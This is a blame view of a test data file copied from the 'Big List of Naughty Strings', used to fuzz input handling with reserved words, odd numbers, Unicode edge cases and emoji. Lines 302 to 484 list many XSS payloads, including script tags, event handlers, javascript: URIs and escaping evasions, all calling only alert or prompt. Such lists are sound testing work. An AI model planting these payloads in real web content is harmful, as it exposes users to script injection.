Ed Tanous | d793bb4 | 2017-04-25 08:59:32 -0700 | [diff] [blame] | 1 | # sourced from https://raw.githubusercontent.com/minimaxir/big-list-of-naughty-strings/master/blns.txt |
| 2 | |
| 3 | # Reserved Strings |
| 4 | # |
| 5 | # Strings which may be used elsewhere in code |
| 6 | |
| 7 | undefined |
| 8 | undef |
| 9 | null |
| 10 | NULL |
| 11 | (null) |
| 12 | nil |
| 13 | NIL |
| 14 | true |
| 15 | false |
| 16 | True |
| 17 | False |
| 18 | TRUE |
| 19 | FALSE |
| 20 | None |
| 21 | hasOwnProperty |
| 22 | \ |
| 23 | \\ |
| 24 | |
| 25 | # Numeric Strings |
| 26 | # |
| 27 | # Strings which can be interpreted as numeric |
| 28 | |
| 29 | 0 |
| 30 | 1 |
| 31 | 1.00 |
| 32 | $1.00 |
| 33 | 1/2 |
| 34 | 1E2 |
| 35 | 1E02 |
| 36 | 1E+02 |
| 37 | -1 |
| 38 | -1.00 |
| 39 | -$1.00 |
| 40 | -1/2 |
| 41 | -1E2 |
| 42 | -1E02 |
| 43 | -1E+02 |
| 44 | 1/0 |
| 45 | 0/0 |
| 46 | -2147483648/-1 |
| 47 | -9223372036854775808/-1 |
| 48 | -0 |
| 49 | -0.0 |
| 50 | +0 |
| 51 | +0.0 |
| 52 | 0.00 |
| 53 | 0..0 |
| 54 | . |
| 55 | 0.0.0 |
| 56 | 0,00 |
| 57 | 0,,0 |
| 58 | , |
| 59 | 0,0,0 |
| 60 | 0.0/0 |
| 61 | 1.0/0.0 |
| 62 | 0.0/0.0 |
| 63 | 1,0/0,0 |
| 64 | 0,0/0,0 |
| 65 | --1 |
| 66 | - |
| 67 | -. |
| 68 | -, |
| 69 | 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 |
| 70 | NaN |
| 71 | Infinity |
| 72 | -Infinity |
| 73 | INF |
| 74 | 1#INF |
| 75 | -1#IND |
| 76 | 1#QNAN |
| 77 | 1#SNAN |
| 78 | 1#IND |
| 79 | 0x0 |
| 80 | 0xffffffff |
| 81 | 0xffffffffffffffff |
| 82 | 0xabad1dea |
| 83 | 123456789012345678901234567890123456789 |
| 84 | 1,000.00 |
| 85 | 1 000.00 |
| 86 | 1'000.00 |
| 87 | 1,000,000.00 |
| 88 | 1 000 000.00 |
| 89 | 1'000'000.00 |
| 90 | 1.000,00 |
| 91 | 1 000,00 |
| 92 | 1'000,00 |
| 93 | 1.000.000,00 |
| 94 | 1 000 000,00 |
| 95 | 1'000'000,00 |
| 96 | 01000 |
| 97 | 08 |
| 98 | 09 |
| 99 | 2.2250738585072011e-308 |
| 100 | |
| 101 | # Special Characters |
| 102 | # |
| 103 | # ASCII punctuation. All of these characters may need to be escaped in some |
| 104 | # contexts. Divided into three groups based on (US-layout) keyboard position. |
| 105 | |
| 106 | ,./;'[]\-= |
| 107 | <>?:"{}|_+ |
| 108 | !@#$%^&*()`~ |
| 109 | |
| 110 | # Non-whitespace C0 controls: U+0001 through U+0008, U+000E through U+001F, |
| 111 | # and U+007F (DEL) |
| 112 | # Often forbidden to appear in various text-based file formats (e.g. XML), |
| 113 | # or reused for internal delimiters on the theory that they should never |
| 114 | # appear in input. |
| 115 | # The next line may appear to be blank or mojibake in some viewers. |
| 116 | |
| 117 | |
| 118 | # Non-whitespace C1 controls: U+0080 through U+0084 and U+0086 through U+009F. |
| 119 | # Commonly misinterpreted as additional graphic characters. |
| 120 | # The next line may appear to be blank, mojibake, or dingbats in some viewers. |
| 121 | |
| 122 | |
| 123 | # Whitespace: all of the characters with category Zs, Zl, or Zp (in Unicode |
| 124 | # version 8.0.0), plus U+0009 (HT), U+000B (VT), U+000C (FF), U+0085 (NEL), |
| 125 | # and U+200B (ZERO WIDTH SPACE), which are in the C categories but are often |
| 126 | # treated as whitespace in some contexts. |
| 127 | # This file unfortunately cannot express strings containing |
| 128 | # U+0000, U+000A, or U+000D (NUL, LF, CR). |
| 129 | # The next line may appear to be blank or mojibake in some viewers. |
| 130 | # The next line may be flagged for "trailing whitespace" in some viewers. |
| 131 |
|
| 132 | |
| 133 | # Unicode additional control characters: all of the characters with |
| 134 | # general category Cf (in Unicode 8.0.0). |
| 135 | # The next line may appear to be blank or mojibake in some viewers. |
| 136 | |
| 137 | |
| 138 | # "Byte order marks", U+FEFF and U+FFFE, each on its own line. |
| 139 | # The next two lines may appear to be blank or mojibake in some viewers. |
| 140 | |
| 141 | |
| 142 | |
| 143 | # Unicode Symbols |
| 144 | # |
| 145 | # Strings which contain common unicode symbols (e.g. smart quotes) |
| 146 | |
| 147 | Ω≈ç√∫˜µ≤≥÷ |
| 148 | åß∂ƒ©˙∆˚¬…æ |
| 149 | œ∑´®†¥¨ˆøπ“‘ |
| 150 | ¡™£¢∞§¶•ªº–≠ |
| 151 | ¸˛Ç◊ı˜Â¯˘¿ |
| 152 | ÅÍÎÏ˝ÓÔÒÚÆ☃ |
| 153 | Œ„´‰ˇÁ¨ˆØ∏”’ |
| 154 | `⁄€‹›fifl‡°·‚—± |
| 155 | ⅛⅜⅝⅞ |
| 156 | ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя |
| 157 | ٠١٢٣٤٥٦٧٨٩ |
| 158 | |
| 159 | # Unicode Subscript/Superscript/Accents |
| 160 | # |
| 161 | # Strings which contain unicode subscripts/superscripts; can cause rendering issues |
| 162 | |
| 163 | ⁰⁴⁵ |
| 164 | ₀₁₂ |
| 165 | ⁰⁴⁵₀₁₂ |
| 166 | ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ |
| 167 | |
| 168 | # Quotation Marks |
| 169 | # |
| 170 | # Strings which contain misplaced quotation marks; can cause encoding errors |
| 171 | |
| 172 | ' |
| 173 | " |
| 174 | '' |
| 175 | "" |
| 176 | '"' |
| 177 | "''''"'" |
| 178 | "'"'"''''" |
| 179 | <foo val=“bar” /> |
| 180 | <foo val=“bar” /> |
| 181 | <foo val=”bar“ /> |
| 182 | <foo val=`bar' /> |
| 183 | |
| 184 | # Two-Byte Characters |
| 185 | # |
| 186 | # Strings which contain two-byte characters: can cause rendering issues or character-length issues |
| 187 | |
| 188 | 田中さんにあげて下さい |
| 189 | パーティーへ行かないか |
| 190 | 和製漢語 |
| 191 | 部落格 |
| 192 | 사회과학원 어학연구소 |
| 193 | 찦차를 타고 온 펲시맨과 쑛다리 똠방각하 |
| 194 | 社會科學院語學研究所 |
| 195 | 울란바토르 |
| 196 | 𠜎𠜱𠝹𠱓𠱸𠲖𠳏 |
| 197 | |
| 198 | # Changing length when lowercased |
| 199 | # |
| 200 | # Characters which increase in length (2 to 3 bytes) when lowercased |
| 201 | # Credit: https://twitter.com/jifa/status/625776454479970304 |
| 202 | |
| 203 | Ⱥ |
| 204 | Ⱦ |
| 205 | |
| 206 | # Japanese Emoticons |
| 207 | # |
| 208 | # Strings which consists of Japanese-style emoticons which are popular on the web |
| 209 | |
| 210 | ヽ༼ຈل͜ຈ༽ノ ヽ༼ຈل͜ຈ༽ノ |
| 211 | (。◕ ∀ ◕。) |
| 212 | `ィ(´∀`∩ |
| 213 | __ロ(,_,*) |
| 214 | ・( ̄∀ ̄)・:*: |
| 215 | ゚・✿ヾ╲(。◕‿◕。)╱✿・゚ |
| 216 | ,。・:*:・゜’( ☻ ω ☻ )。・:*:・゜’ |
| 217 | (╯°□°)╯︵ ┻━┻) |
| 218 | (ノಥ益ಥ)ノ ┻━┻ |
| 219 | ┬─┬ノ( º _ ºノ) |
| 220 | ( ͡° ͜ʖ ͡°) |
| 221 | |
| 222 | # Emoji |
| 223 | # |
| 224 | # Strings which contain Emoji; should be the same behavior as two-byte characters, but not always |
| 225 | |
| 226 | 😍 |
| 227 | 👩🏽 |
| 228 | 👾 🙇 💁 🙅 🙆 🙋 🙎 🙍 |
| 229 | 🐵 🙈 🙉 🙊 |
| 230 | ❤️ 💔 💌 💕 💞 💓 💗 💖 💘 💝 💟 💜 💛 💚 💙 |
| 231 | ✋🏿 💪🏿 👐🏿 🙌🏿 👏🏿 🙏🏿 |
| 232 | 🚾 🆒 🆓 🆕 🆖 🆗 🆙 🏧 |
| 233 | 0️⃣ 1️⃣ 2️⃣ 3️⃣ 4️⃣ 5️⃣ 6️⃣ 7️⃣ 8️⃣ 9️⃣ 🔟 |
| 234 | |
| 235 | # Regional Indicator Symbols |
| 236 | # |
| 237 | # Regional Indicator Symbols can be displayed differently across |
| 238 | # fonts, and have a number of special behaviors |
| 239 | |
| 240 | 🇺🇸🇷🇺🇸 🇦🇫🇦🇲🇸 |
| 241 | 🇺🇸🇷🇺🇸🇦🇫🇦🇲 |
| 242 | 🇺🇸🇷🇺🇸🇦 |
| 243 | |
| 244 | # Unicode Numbers |
| 245 | # |
| 246 | # Strings which contain unicode numbers; if the code is localized, it should see the input as numeric |
| 247 | |
| 248 | 123 |
| 249 | ١٢٣ |
| 250 | |
| 251 | # Right-To-Left Strings |
| 252 | # |
| 253 | # Strings which contain text that should be rendered RTL if possible (e.g. Arabic, Hebrew) |
| 254 | |
| 255 | ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة بولندا، الإطلاق عل إيو. |
| 256 | בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ |
| 257 | הָיְתָהtestالصفحات التّحول |
| 258 | ﷽ |
| 259 | ﷺ |
| 260 | مُنَاقَشَةُ سُبُلِ اِسْتِخْدَامِ اللُّغَةِ فِي النُّظُمِ الْقَائِمَةِ وَفِيم يَخُصَّ التَّطْبِيقَاتُ الْحاسُوبِيَّةُ، |
| 261 | |
| 262 | # Trick Unicode |
| 263 | # |
| 264 | # Strings which contain unicode with unusual properties (e.g. Right-to-left override) (c.f. http://www.unicode.org/charts/PDF/U2000.pdf) |
| 265 | |
| 266 | test |
| 267 | test |
| 268 |
test
|
| 269 | testtest |
| 270 | test |
| 271 | |
| 272 | # Zalgo Text |
| 273 | # |
| 274 | # Strings which contain "corrupted" text. The corruption will not appear in non-HTML text, however. (via http://www.eeemo.net) |
| 275 | |
| 276 | Ṱ̺̺̕o͞ ̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤ ̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳ ̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠̣͟s̘͇̳͍̝͉e͉̥̯̞̲͚̬͜ǹ̬͎͎̟̖͇̤t͍̬̤͓̼̭͘ͅi̪̱n͠g̴͉ ͏͉ͅc̬̟h͡a̫̻̯͘o̫̟̖͍̙̝͉s̗̦̲.̨̹͈̣ |
| 277 | ̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎ ̰t͔̦h̞̲e̢̤ ͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍ ̨o͚̪͡f̘̣̬ ̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖̦̻͢.̛̖̞̠̫̰ |
| 278 | ̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔ ͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜ ̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟ ̯̲͕͞ǫ̟̯̰̲͙̻̝f ̪̰̰̗̖̭̘͘c̦͍̲̞͍̩̙ḥ͚a̮͎̟̙͜ơ̩̹͎s̤.̝̝ ҉Z̡̖̜͖̰̣͉̜a͖̰͙̬͡l̲̫̳͍̩g̡̟̼̱͚̞̬ͅo̗͜.̟ |
| 279 | ̦H̬̤̗̤͝e͜ ̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮ ҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕ ̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖ ̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ ̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹̼̣l̴͔̰̤̟͔ḽ̫.͕ |
| 280 | Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮ |
| 281 | |
| 282 | # Unicode Upsidedown |
| 283 | # |
| 284 | # Strings which contain unicode with an "upsidedown" effect (via http://www.upsidedowntext.com) |
| 285 | |
| 286 | ˙ɐnbᴉlɐ ɐuƃɐɯ ǝɹolop ʇǝ ǝɹoqɐl ʇn ʇunpᴉpᴉɔuᴉ ɹodɯǝʇ poɯsnᴉǝ op pǝs 'ʇᴉlǝ ƃuᴉɔsᴉdᴉpɐ ɹnʇǝʇɔǝsuoɔ 'ʇǝɯɐ ʇᴉs ɹolop ɯnsdᴉ ɯǝɹo˥ |
| 287 | 00˙Ɩ$- |
| 288 | |
| 289 | # Unicode font |
| 290 | # |
| 291 | # Strings which contain bold/italic/etc. versions of normal characters |
| 292 | |
| 293 | The quick brown fox jumps over the lazy dog |
| 294 | 𝐓𝐡𝐞 𝐪𝐮𝐢𝐜𝐤 𝐛𝐫𝐨𝐰𝐧 𝐟𝐨𝐱 𝐣𝐮𝐦𝐩𝐬 𝐨𝐯𝐞𝐫 𝐭𝐡𝐞 𝐥𝐚𝐳𝐲 𝐝𝐨𝐠 |
| 295 | 𝕿𝖍𝖊 𝖖𝖚𝖎𝖈𝖐 𝖇𝖗𝖔𝖜𝖓 𝖋𝖔𝖝 𝖏𝖚𝖒𝖕𝖘 𝖔𝖛𝖊𝖗 𝖙𝖍𝖊 𝖑𝖆𝖟𝖞 𝖉𝖔𝖌 |
| 296 | 𝑻𝒉𝒆 𝒒𝒖𝒊𝒄𝒌 𝒃𝒓𝒐𝒘𝒏 𝒇𝒐𝒙 𝒋𝒖𝒎𝒑𝒔 𝒐𝒗𝒆𝒓 𝒕𝒉𝒆 𝒍𝒂𝒛𝒚 𝒅𝒐𝒈 |
| 297 | 𝓣𝓱𝓮 𝓺𝓾𝓲𝓬𝓴 𝓫𝓻𝓸𝔀𝓷 𝓯𝓸𝔁 𝓳𝓾𝓶𝓹𝓼 𝓸𝓿𝓮𝓻 𝓽𝓱𝓮 𝓵𝓪𝔃𝔂 𝓭𝓸𝓰 |
| 298 | 𝕋𝕙𝕖 𝕢𝕦𝕚𝕔𝕜 𝕓𝕣𝕠𝕨𝕟 𝕗𝕠𝕩 𝕛𝕦𝕞𝕡𝕤 𝕠𝕧𝕖𝕣 𝕥𝕙𝕖 𝕝𝕒𝕫𝕪 𝕕𝕠𝕘 |
| 299 | 𝚃𝚑𝚎 𝚚𝚞𝚒𝚌𝚔 𝚋𝚛𝚘𝚠𝚗 𝚏𝚘𝚡 𝚓𝚞𝚖𝚙𝚜 𝚘𝚟𝚎𝚛 𝚝𝚑𝚎 𝚕𝚊𝚣𝚢 𝚍𝚘𝚐 |
| 300 | ⒯⒣⒠ ⒬⒰⒤⒞⒦ ⒝⒭⒪⒲⒩ ⒡⒪⒳ ⒥⒰⒨⒫⒮ ⒪⒱⒠⒭ ⒯⒣⒠ ⒧⒜⒵⒴ ⒟⒪⒢ |
| 301 | |
| 302 | # Script Injection |
| 303 | # |
| 304 | # Strings which attempt to invoke a benign script injection; shows vulnerability to XSS |
| 305 | |
| 306 | <script>alert(123)</script> |
| 307 | <script>alert('123');</script> |
| 308 | <img src=x onerror=alert(123) /> |
| 309 | <svg><script>123<1>alert(123)</script> |
| 310 | "><script>alert(123)</script> |
| 311 | '><script>alert(123)</script> |
| 312 | ><script>alert(123)</script> |
| 313 | </script><script>alert(123)</script> |
| 314 | < / script >< script >alert(123)< / script > |
| 315 | onfocus=JaVaSCript:alert(123) autofocus |
| 316 | " onfocus=JaVaSCript:alert(123) autofocus |
| 317 | ' onfocus=JaVaSCript:alert(123) autofocus |
| 318 | <script>alert(123)</script> |
| 319 | <sc<script>ript>alert(123)</sc</script>ript> |
| 320 | --><script>alert(123)</script> |
| 321 | ";alert(123);t=" |
| 322 | ';alert(123);t=' |
| 323 | JavaSCript:alert(123) |
| 324 | ;alert(123); |
| 325 | src=JaVaSCript:prompt(132) |
| 326 | "><script>alert(123);</script x=" |
| 327 | '><script>alert(123);</script x=' |
| 328 | ><script>alert(123);</script x= |
| 329 | " autofocus onkeyup="javascript:alert(123) |
| 330 | ' autofocus onkeyup='javascript:alert(123) |
| 331 | <script\x20type="text/javascript">javascript:alert(1);</script> |
| 332 | <script\x3Etype="text/javascript">javascript:alert(1);</script> |
| 333 | <script\x0Dtype="text/javascript">javascript:alert(1);</script> |
| 334 | <script\x09type="text/javascript">javascript:alert(1);</script> |
| 335 | <script\x0Ctype="text/javascript">javascript:alert(1);</script> |
| 336 | <script\x2Ftype="text/javascript">javascript:alert(1);</script> |
| 337 | <script\x0Atype="text/javascript">javascript:alert(1);</script> |
| 338 | '`"><\x3Cscript>javascript:alert(1)</script> |
| 339 | '`"><\x00script>javascript:alert(1)</script> |
| 340 | ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF |
| 341 | ABC<div style="x:expression\x5C(javascript:alert(1)">DEF |
| 342 | ABC<div style="x:expression\x00(javascript:alert(1)">DEF |
| 343 | ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF |
| 344 | ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF |
| 345 | ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF |
| 346 | ABC<div style="x:\x09expression(javascript:alert(1)">DEF |
| 347 | ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF |
| 348 | ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF |
| 349 | ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF |
| 350 | ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF |
| 351 | ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF |
| 352 | ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF |
| 353 | ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF |
| 354 | ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF |
| 355 | ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF |
| 356 | ABC<div style="x:\x20expression(javascript:alert(1)">DEF |
| 357 | ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF |
| 358 | ABC<div style="x:\x00expression(javascript:alert(1)">DEF |
| 359 | ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF |
| 360 | ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF |
| 361 | ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF |
| 362 | ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF |
| 363 | ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF |
| 364 | ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF |
| 365 | ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF |
| 366 | ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF |
| 367 | <a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 368 | <a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 369 | <a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 370 | <a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 371 | <a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 372 | <a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 373 | <a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 374 | <a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 375 | <a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 376 | <a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 377 | <a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 378 | <a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 379 | <a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 380 | <a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 381 | <a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 382 | <a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 383 | <a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 384 | <a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 385 | <a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 386 | <a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 387 | <a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 388 | <a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 389 | <a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 390 | <a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 391 | <a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 392 | <a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 393 | <a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 394 | <a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 395 | <a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 396 | <a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 397 | <a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 398 | <a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 399 | <a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 400 | <a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 401 | <a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 402 | <a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 403 | <a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 404 | <a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 405 | <a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 406 | <a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 407 | <a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 408 | <a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 409 | <a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 410 | <a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 411 | <a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 412 | <a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 413 | <a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 414 | <a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 415 | <a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 416 | <a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 417 | <a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 418 | <a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| 419 | <a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a> |
| 420 | <a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a> |
| 421 | <a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a> |
| 422 | <a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a> |
| 423 | <a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a> |
| 424 | `"'><img src=xxx:x \x0Aonerror=javascript:alert(1)> |
| 425 | `"'><img src=xxx:x \x22onerror=javascript:alert(1)> |
| 426 | `"'><img src=xxx:x \x0Bonerror=javascript:alert(1)> |
| 427 | `"'><img src=xxx:x \x0Donerror=javascript:alert(1)> |
| 428 | `"'><img src=xxx:x \x2Fonerror=javascript:alert(1)> |
| 429 | `"'><img src=xxx:x \x09onerror=javascript:alert(1)> |
| 430 | `"'><img src=xxx:x \x0Conerror=javascript:alert(1)> |
| 431 | `"'><img src=xxx:x \x00onerror=javascript:alert(1)> |
| 432 | `"'><img src=xxx:x \x27onerror=javascript:alert(1)> |
| 433 | `"'><img src=xxx:x \x20onerror=javascript:alert(1)> |
| 434 | "`'><script>\x3Bjavascript:alert(1)</script> |
| 435 | "`'><script>\x0Djavascript:alert(1)</script> |
| 436 | "`'><script>\xEF\xBB\xBFjavascript:alert(1)</script> |
| 437 | "`'><script>\xE2\x80\x81javascript:alert(1)</script> |
| 438 | "`'><script>\xE2\x80\x84javascript:alert(1)</script> |
| 439 | "`'><script>\xE3\x80\x80javascript:alert(1)</script> |
| 440 | "`'><script>\x09javascript:alert(1)</script> |
| 441 | "`'><script>\xE2\x80\x89javascript:alert(1)</script> |
| 442 | "`'><script>\xE2\x80\x85javascript:alert(1)</script> |
| 443 | "`'><script>\xE2\x80\x88javascript:alert(1)</script> |
| 444 | "`'><script>\x00javascript:alert(1)</script> |
| 445 | "`'><script>\xE2\x80\xA8javascript:alert(1)</script> |
| 446 | "`'><script>\xE2\x80\x8Ajavascript:alert(1)</script> |
| 447 | "`'><script>\xE1\x9A\x80javascript:alert(1)</script> |
| 448 | "`'><script>\x0Cjavascript:alert(1)</script> |
| 449 | "`'><script>\x2Bjavascript:alert(1)</script> |
| 450 | "`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script> |
| 451 | "`'><script>-javascript:alert(1)</script> |
| 452 | "`'><script>\x0Ajavascript:alert(1)</script> |
| 453 | "`'><script>\xE2\x80\xAFjavascript:alert(1)</script> |
| 454 | "`'><script>\x7Ejavascript:alert(1)</script> |
| 455 | "`'><script>\xE2\x80\x87javascript:alert(1)</script> |
| 456 | "`'><script>\xE2\x81\x9Fjavascript:alert(1)</script> |
| 457 | "`'><script>\xE2\x80\xA9javascript:alert(1)</script> |
| 458 | "`'><script>\xC2\x85javascript:alert(1)</script> |
| 459 | "`'><script>\xEF\xBF\xAEjavascript:alert(1)</script> |
| 460 | "`'><script>\xE2\x80\x83javascript:alert(1)</script> |
| 461 | "`'><script>\xE2\x80\x8Bjavascript:alert(1)</script> |
| 462 | "`'><script>\xEF\xBF\xBEjavascript:alert(1)</script> |
| 463 | "`'><script>\xE2\x80\x80javascript:alert(1)</script> |
| 464 | "`'><script>\x21javascript:alert(1)</script> |
| 465 | "`'><script>\xE2\x80\x82javascript:alert(1)</script> |
| 466 | "`'><script>\xE2\x80\x86javascript:alert(1)</script> |
| 467 | "`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script> |
| 468 | "`'><script>\x0Bjavascript:alert(1)</script> |
| 469 | "`'><script>\x20javascript:alert(1)</script> |
| 470 | "`'><script>\xC2\xA0javascript:alert(1)</script> |
| 471 | <img \x00src=x onerror="alert(1)"> |
| 472 | <img \x47src=x onerror="javascript:alert(1)"> |
| 473 | <img \x11src=x onerror="javascript:alert(1)"> |
| 474 | <img \x12src=x onerror="javascript:alert(1)"> |
| 475 | <img\x47src=x onerror="javascript:alert(1)"> |
| 476 | <img\x10src=x onerror="javascript:alert(1)"> |
| 477 | <img\x13src=x onerror="javascript:alert(1)"> |
| 478 | <img\x32src=x onerror="javascript:alert(1)"> |
| 479 | <img\x47src=x onerror="javascript:alert(1)"> |
| 480 | <img\x11src=x onerror="javascript:alert(1)"> |
| 481 | <img \x47src=x onerror="javascript:alert(1)"> |
| 482 | <img \x34src=x onerror="javascript:alert(1)"> |
| 483 | <img \x39src=x onerror="javascript:alert(1)"> |
| 484 | <img \x00src=x onerror="javascript:alert(1)"> |
